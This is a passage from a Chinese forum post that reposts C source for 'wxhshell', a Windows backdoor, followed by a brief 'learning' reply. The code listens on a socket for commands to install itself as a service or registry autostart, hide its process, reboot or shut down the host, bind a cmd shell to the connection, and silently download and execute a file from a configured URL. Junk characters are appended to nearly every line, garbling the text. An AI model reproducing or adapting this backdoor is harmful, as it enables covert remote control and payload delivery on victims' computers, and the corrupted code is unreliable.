  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mh+'f 93  
  if(DownloadFile(cmd,wsh)) Fa+PN9M`?.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0BaL!^>  
  else ~d5"<`<^o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zZ32K@  
  } m qw!C  
  else { g+k6pi*  
RTY$oUqlZ  
    switch(cmd[0]) { >P0AGZ  
  ?sS'T7r v  
  // 帮助 !%s7I ^f*  
  case '?': { 6J|f^W-fs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mu{%%b7|^  
    break; X2@o"xU  
  } $}KYpSV  
  // 安装 @{CpC  
  case 'i': { ^ _+ks/  
    if(Install()) U1q$B32  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +:'Po.{"  
    else zi-+@9T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TS[Z<m  
    break; b$$XriD]  
    } wd#AA#J;*  
  // 卸载  gA[M  
  case 'r': { vq5I 2  
    if(Uninstall()) so8-e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \FKIEg+(2  
    else 6op\g].P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =u'/\nxCF  
    break; |Q I3H]T7  
    }  +;!w;t  
  // 显示 wxhshell 所在路径 WX=+\`NyJ(  
  case 'p': { P)\f\yb  
    char svExeFile[MAX_PATH]; 3\WES!  
    strcpy(svExeFile,"\n\r"); F 5JgR-P  
      strcat(svExeFile,ExeFile); f:UN~z'yr  
        send(wsh,svExeFile,strlen(svExeFile),0); @2$8o]et  
    break; }`M6+.z3F  
    } 4xYo2X,B  
  // 重启 < Ihn1?  
  case 'b': { <bjy<98LT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .N'UnKz  
    if(Boot(REBOOT)) Q` s(T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * ;M?R?+  
    else { *ap#*}r!Nk  
    closesocket(wsh); [`b{eLCFX]  
    ExitThread(0); VuBp$H(U  
    } iIF'!K=q  
    break; mY AFruN  
    } >L;O, {Px-  
  // 关机 Ucy9fM  
  case 'd': { K5ph x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '9[_ w$~(  
    if(Boot(SHUTDOWN))  y]+A7|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GbE3 :;JI  
    else { .Lp-'!i  
    closesocket(wsh); e=R} 4`  
    ExitThread(0); dog,vUu  
    } <5#e.w  
    break; :_H88/?RR  
    } }dR *bG  
  // 获取shell UetmO`qju  
  case 's': { zSH#j RDV  
    CmdShell(wsh); kj#yG"3+  
    closesocket(wsh); Lf:Z (Z>  
    ExitThread(0); b7,qzh  
    break; 0IdD   
  }  {Eb6.  
  // 退出 oaK~:'  
  case 'x': { evR=Z\ _  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W6iIL:sp  
    CloseIt(wsh); GkC88l9z  
    break; =@z"k'Vl`  
    } eo80L  
  // 离开 ( BGipX4  
  case 'q': { BY d3rI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ii8jY_  
    closesocket(wsh); o MAK[$k;  
    WSACleanup(); =ht@7z8QM  
    exit(1); EAkP[au.  
    break; L!G3u/  
        } \[&]kPcDl  
  } ')aYkO{%sb  
  } X<{m;T `  
&Xav$6+Z1J  
  // 提示信息 Ll`apKr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s^ a`=kO  
} 5e LPn  
  } 5 9vGLN!L  
;@ e |}Gk  
  return; @e7+d@ O<  
} 3IkG*enI  
!:8!\gE ^P  
// shell模块句柄 6\K)\  
int CmdShell(SOCKET sock) *+z({S_Nv  
{ N#:"X;  
STARTUPINFO si; gc=e)j@  
ZeroMemory(&si,sizeof(si)); 6xe |L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ep!.kA=\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6uyf  
PROCESS_INFORMATION ProcessInfo; dB5DJ:$W$  
char cmdline[]="cmd"; uprQy<I@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U&XoT-p$L  
  return 0; 9s)oC$\  
} `jHGNi  
fjFy$NX&>  
// 自身启动模式 =jN]ckn  
int StartFromService(void) WToAT;d2h  
{ ]*|K8&jxl  
typedef struct ||4Dtg K  
{ E(8g(?4  
  DWORD ExitStatus; 2~<0<^j/]  
  DWORD PebBaseAddress; {V8Pn2mlo  
  DWORD AffinityMask; D/WS  
  DWORD BasePriority; {JgN^R<5<f  
  ULONG UniqueProcessId; OOCeZ3yF(  
  ULONG InheritedFromUniqueProcessId; kWd'gftQ  
}   PROCESS_BASIC_INFORMATION; t/Fe"T[,V  
UU;:x"4  
PROCNTQSIP NtQueryInformationProcess; z#4g,)ZX  
7 'S]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 63HkN4D4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -eMRxa>  
qAS^5|(b[  
  HANDLE             hProcess; Nt8(  
  PROCESS_BASIC_INFORMATION pbi; "x)DE,  
hqPn~Tq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |@BN+o;`Om  
  if(NULL == hInst ) return 0; UVK"%kW#(  
pA'A<|)K0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4_<Uk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); * 5n:+Tw(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J%)2,szn0  
w%;'uN_  
  if (!NtQueryInformationProcess) return 0; .D .Rn/  
l 5FQ!>IM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); umzYJ>2t  
  if(!hProcess) return 0; Pcs@`&}7r  
Q-v[O4 y~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lND[anB!  
3p4?-Dd|_$  
  CloseHandle(hProcess); :3f2^(b~^  
&}O!l'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jvQ"cs$.  
if(hProcess==NULL) return 0; }H=OVbQor  
(Y([^N q  
HMODULE hMod; {P&^Erx  
char procName[255];  o 2  
unsigned long cbNeeded; wY#mL1dF  
Bv8C_-lV/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VaxO L61xE  
d]E vC>  
  CloseHandle(hProcess); .TC `\mV  
sd53 _s V  
if(strstr(procName,"services")) return 1; // 以服务启动 R6;>RRU_  
F]YKYF'1I  
  return 0; // 注册表启动 Q8y|:tb$Y  
} >U?Bka!  
E 6: p  
// 主模块 ^A`(  
int StartWxhshell(LPSTR lpCmdLine) M;qL)vf  
{ 5H+k_U  
  SOCKET wsl; lIg2iun[n  
BOOL val=TRUE; fh#_Mj+y  
  int port=0; sE6J:m(  
  struct sockaddr_in door; \aIy68rH,  
\BXVWE|  
  if(wscfg.ws_autoins) Install(); or}*tSKX  
de9l;zF  
port=atoi(lpCmdLine); |`wsKr'  
=joXP$n^  
if(port<=0) port=wscfg.ws_port; j_@3a)[NY  
v\,%)Z/  
  WSADATA data; yipD5,TC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  2p>SB/  
OL5HofgNm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'hO;sL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -P>=WZu  
  door.sin_family = AF_INET; 4Z9wzQ>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "R@N|Qx'  
  door.sin_port = htons(port); |SKG4_wGe  
*`Xx_   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z&jb,eh2  
closesocket(wsl);  ii y3  
return 1; h6y4Ii  
} f\|?_k]  
Fx5d@WNa>  
  if(listen(wsl,2) == INVALID_SOCKET) { ih |Ky+!  
closesocket(wsl); p''"E$B/(  
return 1;  F'FZ?*a  
}  x9"4vp  
  Wxhshell(wsl); @B[Cc`IN"  
  WSACleanup(); l/zC##1+.  
P<!$A  
return 0; (%yc5+f!  
`(/saq*  
} LG{inhbp  
: 5<9/  
// 以NT服务方式启动 [ 5 2zta  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P3tG#cJ  
{ U!?gdX  
DWORD   status = 0; 5}bZs` C  
  DWORD   specificError = 0xfffffff; D%UZ'bHN*  
8<g#$(a_E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; exO#>th1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [ []SkLZHg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  G].__]  
  serviceStatus.dwWin32ExitCode     = 0; gT&'i(c  
  serviceStatus.dwServiceSpecificExitCode = 0; #z!Hb&Qi\  
  serviceStatus.dwCheckPoint       = 0; RB7AI !'a?  
  serviceStatus.dwWaitHint       = 0; yISQYvSN  
)|y2Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L'XdX\5  
  if (hServiceStatusHandle==0) return; |F@xwfgb  
3'*%R48P`  
status = GetLastError(); hr4ye`c j  
  if (status!=NO_ERROR) lI_Yb:  
{ |"YA<e %  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /CI%XocB  
    serviceStatus.dwCheckPoint       = 0; ?koxt4 4  
    serviceStatus.dwWaitHint       = 0; 0T#xM(q[K  
    serviceStatus.dwWin32ExitCode     = status; N&^xq_9&  
    serviceStatus.dwServiceSpecificExitCode = specificError; h@;)dLo0z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'K`Rbhy  
    return; ~,*YmB=Z  
  } T<+ht8&M8  
I+"?,Ej$K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $.Q>M]xH  
  serviceStatus.dwCheckPoint       = 0; N^ s!!Sbpq  
  serviceStatus.dwWaitHint       = 0; p&sK\   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VkDS&g~Ws  
} XQ 3*  
4Kn9*V  
// 处理NT服务事件,比如:启动、停止 mvq7G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PB(  
{ ]osx.  
switch(fdwControl) ]TBtLU3  
{ o9Txo (tYU  
case SERVICE_CONTROL_STOP: YYE8/\+B.  
  serviceStatus.dwWin32ExitCode = 0; Z@,PZ   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WVWS7N\  
  serviceStatus.dwCheckPoint   = 0; n(1wdlEp  
  serviceStatus.dwWaitHint     = 0; 3p3WDL7  
  { 6`qr:.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q:kVCm/;  
  } i&pJg1  
  return; 6b ]1d04hT  
case SERVICE_CONTROL_PAUSE: ZEj!jWP2m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r%F(?gKXkd  
  break; _+\:OB[Y  
case SERVICE_CONTROL_CONTINUE: ,9Z2cgXwJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nx-1*  
  break; O}MZ-/z=o~  
case SERVICE_CONTROL_INTERROGATE: xY2}Wr j,  
  break; Ni!;-,H+E  
}; k%]DT.cE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dv'E:R(a  
} xaWGa1V'z  
h41$|lonU%  
// 标准应用程序主函数 Z>x7|Q3CX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m0|Ae@g~3  
{ 7Aio`&^  
@ )vy'qP d  
// 获取操作系统版本 f2 ydL/M,  
OsIsNt=GetOsVer(); 9^PRX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 22GnbA7O  
=! N _^cb  
  // 从命令行安装 <AMb!?Obh  
  if(strpbrk(lpCmdLine,"iI")) Install(); E7gHi$  
-@SOo"P  
  // 下载执行文件 [A"H/Qztk  
if(wscfg.ws_downexe) { 'h^-t^:<>b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #9$V 08  
  WinExec(wscfg.ws_filenam,SW_HIDE); +ze}0lrEL  
} CF|moc:;  
m<4s*q0\i  
if(!OsIsNt) { $ZI~8rI~  
// 如果时win9x,隐藏进程并且设置为注册表启动 hdd>&?p3  
HideProc(); 5pRY&6So  
StartWxhshell(lpCmdLine); R:w %2Y  
} .!JMPf"QEI  
else ! Ea&]G  
  if(StartFromService()) # 0GGc.  
  // 以服务方式启动 wJ+U[a  
  StartServiceCtrlDispatcher(DispatchTable); _W0OM[  
else H]_WFiW-9  
  // 普通方式启动 g7xbyB o7  
  StartWxhshell(lpCmdLine); CAUijMI@  
`'p`PyMt`  
return 0; 7E$eN8H  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八